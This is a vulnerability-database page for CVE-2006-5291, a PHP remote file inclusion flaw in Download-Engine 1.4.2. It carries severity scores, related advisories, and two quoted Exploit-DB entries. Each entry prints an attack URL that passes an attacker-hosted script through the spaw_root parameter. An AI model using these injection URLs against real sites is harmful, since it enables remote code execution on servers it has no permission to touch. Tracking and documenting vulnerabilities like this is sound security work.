CVE-2006-5291
published 2006-10-16CVE-2006-5291: PHP remote file inclusion vulnerability in admin/includes/spaw/spaw_control.class.php in Download-Engine 1.4.2 allows remote attackers to execute arbitrary PHP…
PriorityP339high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
4.50%
90.3th percentile
PHP remote file inclusion vulnerability in admin/includes/spaw/spaw_control.class.php in Download-Engine 1.4.2 allows remote attackers to execute arbitrary PHP code via a URL in the spaw_root parameter. NOTE: CVE analysis suggests that this issue is actually in a third party product, SPAW Editor PHP Edition, so this issue is probably a duplicate of CVE-2006-4656.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| alex | downloadengine | <= 1.4.2 | — |
| alex | downloadengine | — | — |
| alexscriptengine | download-engine | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-5mhv-62mq-c5pf: Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1
ghsa_unreviewed·2022-05-01·CVSS 7.5
CVE-2007-2255 [HIGH] GHSA-5mhv-62mq-c5pf: Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1
Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the (1) eng_dir parameter to addmember.php, (2) lang_path parameter to admin/enginelib/class.phpmailer.php, and the (3) spaw_root parameter to admin/includes/spaw/dialogs/colorpicker.php, different vectors than CVE-2006-5291 and CVE-2006-5459. NOTE: vector 3 might be an issue in SPAW.
GHSA
GHSA-cg2v-qgrr-gw86: PHP remote file inclusion vulnerability in admin/includes/spaw/spaw_control
ghsa_unreviewed·2022-05-01·CVSS 7.5
CVE-2006-5291 [HIGH] CWE-94 GHSA-cg2v-qgrr-gw86: PHP remote file inclusion vulnerability in admin/includes/spaw/spaw_control
PHP remote file inclusion vulnerability in admin/includes/spaw/spaw_control.class.php in Download-Engine 1.4.2 allows remote attackers to execute arbitrary PHP code via a URL in the spaw_root parameter. NOTE: CVE analysis suggests that this issue is actually in a third party product, SPAW Editor PHP Edition, so this issue is probably a duplicate of CVE-2006-4656.
GHSA
GHSA-qmc5-93wf-hh65: Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1
ghsa_unreviewed·2022-05-01·CVSS 7.5
CVE-2006-5459 [HIGH] GHSA-qmc5-93wf-hh65: Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1
Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) $_ENGINE[eng_dir] and possibly (2) spaw_root parameters in admin/includes/spaw/spaw_script.js.php, and the (3) $_ENGINE[eng_dir], (4) $spaw_root, (5) $spaw_dir, and (6) $spaw_base_url parameters in admin/includes/spaw/config/spaw_control.config.php, different vectors than CVE-2006-5291. NOTE: CVE analysis as of 20061021 is inconclusive, but suggests that some or all of the suggested attack vectors are ineffective.
No detection rules found.
Exploit-DB
Download-Engine 1.4.2 - 'spaw' Remote File Inclusion
exploitdb·2006-10-12
CVE-2006-5291 Download-Engine 1.4.2 - 'spaw' Remote File Inclusion
Download-Engine 1.4.2 - 'spaw' Remote File Inclusion
---
#======================================================================================#
# Download-Engine Remote File Include #
#======================================================================================#
# Info:- #
# #
# Scripts: Download-Engine #
# Download: http://www.alexscriptengine.de/v2/dl_engine/redirect.php?dlid=50&ENGINEsessID=4754ee8243de5f333ec74272f249b649
# Version : 1.4.2 #
# Dork & vuln : download scripts and think :) #
# Note : only this version effcted :) #
#======================================================================================#
#Exploit : #
# #
#http://localhost/path/admin/includes/spaw/spaw_control.class.php?spaw_root=http://EvElCoDe.txt?
# #
#========================================
Exploit-DB
SL_Site 1.0 - 'spaw_root' Remote File Inclusion
exploitdb·2006-09-07
CVE-2006-5291 SL_Site 1.0 - 'spaw_root' Remote File Inclusion
SL_Site 1.0 - 'spaw_root' Remote File Inclusion
---
SL_Site <= 1.0 [spaw_root] Remote File Include Vulnerability
Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SL_Site
version : 1.0
URL : ftp://ftp1.comscripts.com/PHP/2032_slsite-10.zip
Exploit:
~~~~~
Variable $spaw_root not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.
# http://site.com/[path]/admin/editeur/spaw_control.class.php?spaw_root=[Evil_Script]
Solution :
~~~~~~~
declare variabel $spaw_root
Shoutz:
~~~
# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
*/
Conta
No writeups or analysis indexed.
http://secunia.com/advisories/22383http://securityreason.com/securityalert/1723http://spaw.cvs.sourceforge.net/spaw/spaw/docs/ChangeLog.txt?view=markuphttp://spaw.cvs.sourceforge.net/spaw/spaw/spaw_control.class.php?r1=1.19&r2=1.20http://spaw.cvs.sourceforge.net/spaw/spaw/spaw_control.class.php?r1=1.25&r2=1.26http://www.securityfocus.com/archive/1/448450/100/0/threadedhttp://www.securityfocus.com/bid/20500http://www.vupen.com/english/advisories/2006/4025https://exchange.xforce.ibmcloud.com/vulnerabilities/29493https://www.exploit-db.com/exploits/2521http://secunia.com/advisories/22383http://securityreason.com/securityalert/1723http://spaw.cvs.sourceforge.net/spaw/spaw/docs/ChangeLog.txt?view=markuphttp://spaw.cvs.sourceforge.net/spaw/spaw/spaw_control.class.php?r1=1.19&r2=1.20http://spaw.cvs.sourceforge.net/spaw/spaw/spaw_control.class.php?r1=1.25&r2=1.26http://www.securityfocus.com/archive/1/448450/100/0/threadedhttp://www.securityfocus.com/bid/20500http://www.vupen.com/english/advisories/2006/4025https://exchange.xforce.ibmcloud.com/vulnerabilities/29493https://www.exploit-db.com/exploits/2521
2006-10-16
Published